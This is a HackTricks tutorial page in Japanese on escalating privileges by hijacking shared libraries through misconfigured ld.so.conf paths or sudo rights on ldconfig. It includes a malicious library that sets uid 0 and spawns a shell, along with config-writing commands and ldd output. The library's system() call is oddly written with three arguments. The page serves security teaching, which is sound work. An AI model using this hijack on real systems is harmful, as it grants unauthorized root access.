ld.so privesc exploit example
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
環境の準備
次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます。
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
- 同じフォルダにそのファイルを作成します
- ライブラリをコンパイルします:
gcc -shared -o libcustom.so -fPIC libcustom.c
libcustom.so
を/usr/lib
にコピーします:sudo cp libcustom.so /usr/lib
(root権限)- 実行可能ファイルをコンパイルします:
gcc sharedvuln.c -o sharedvuln -lcustom
環境を確認する
libcustom.so_が/usr/lib_から読み込まれていることと、バイナリを実行できることを確認します。
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Exploit
このシナリオでは、誰かがファイル内に脆弱なエントリを作成したと仮定します /etc/ld.so.conf/:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
脆弱なフォルダーは /home/ubuntu/lib です(書き込みアクセスがあります)。
次のコードをそのパス内でダウンロードしてコンパイルします:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
今、誤って設定されたパス内に悪意のあるlibcustomライブラリを作成したので、再起動を待つか、rootユーザーが**ldconfig
を実行するのを待つ必要があります(_このバイナリをsudoとして実行できる場合、またはsuidビット**が設定されている場合は、自分で実行できます_)。
これが発生したら、再確認してください。sharevuln
実行可能ファイルがlibcustom.so
ライブラリをどこから読み込んでいるかを確認します:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
ご覧のとおり、/home/ubuntu/lib
から読み込んでおり、ユーザーがそれを実行するとシェルが実行されます:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
note
この例では特権を昇格させていないことに注意してくださいが、実行されるコマンドを変更し、rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで特権を昇格させることができます。
他の誤設定 - 同じ脆弱性
前の例では、管理者が**/etc/ld.so.conf.d/
内の設定ファイルに非特権フォルダーを設定したという誤設定を偽装しました。
しかし、同じ脆弱性を引き起こす他の誤設定もあります。/etc/ld.so.conf.d
内のいくつかの設定ファイル**、/etc/ld.so.conf.d
フォルダー内、または/etc/ld.so.conf
ファイル内に書き込み権限がある場合、同じ脆弱性を設定して悪用することができます。
エクスプロイト 2
ldconfig
に対してsudo権限を持っていると仮定します。
ldconfig
に設定ファイルをどこから読み込むかを指示することができます。これを利用してldconfig
に任意のフォルダーを読み込ませることができます。
それでは、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう:
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
今、前のエクスプロイトで示されたように、/tmp
内に悪意のあるライブラリを作成します。
最後に、パスをロードして、バイナリがライブラリをどこからロードしているかを確認しましょう:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
ご覧のとおり、ldconfig
に対するsudo権限を持っていると、同じ脆弱性を悪用できます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。